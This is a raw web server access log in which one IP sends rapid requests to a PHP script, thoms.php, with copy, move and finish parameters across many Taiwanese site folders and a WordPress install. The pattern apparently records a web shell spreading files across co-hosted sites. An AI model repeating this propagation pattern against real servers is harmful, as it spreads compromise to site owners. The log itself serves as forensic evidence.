45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=bfl.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?copy=mah.php&p=bioway88.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16701 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:10 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16703 "https://163.245.207.76:443/thoms.php?copy=mah.php&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=bossini.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=cgi-bin HTTP/1.1" 200 11303 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11379 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=ba-guo.com.tw HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=bestzyx.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=biotaiwan.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=upgrade HTTP/1.1" 200 11300 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=beauty-dental.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=betcity.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=mah.php&p=big-wife.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=thoms.php&p=beauty-dental.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=thoms.php&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=thoms.php&p=bfl.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16850 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=thoms.php&p=bft.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:11 -0400] "GET /thoms.php?copy=thoms.php&p=ba-guo.com.tw HTTP/1.1" 200 11450 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=besth2o.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=betcity.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=biotaiwan.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=bossini.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16849 "https://163.245.207.76:443/thoms.php?copy=thoms.php&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=bogroup.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=bioway88.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=broadweb.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=cgi-bin HTTP/1.1" 200 11304 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=upgrade HTTP/1.1" 200 11303 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11381 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:12 -0400] "GET /thoms.php?copy=thoms.php&p=big-wife.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=thoms.php&p=bestzyx.com.tw HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=thoms.php&p=bodbooks.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=thoms.php&p=wp-content HTTP/1.1" 200 11339 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11420 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=upgrade HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16955 "https://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw HTTP/1.1" 200 11456 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw HTTP/1.1" 200 11452 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=wp-content HTTP/1.1" 200 11343 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p=cgi-bin HTTP/1.1" 200 11308 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:14 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:13 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&finish=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bossini.com.tw HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16956 "https://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&finish=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 16956 "https://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=betcity.com.tw HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bft.com.tw HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=cgi-bin HTTP/1.1" 200 11277 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:37:15 -0400] "GET /thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
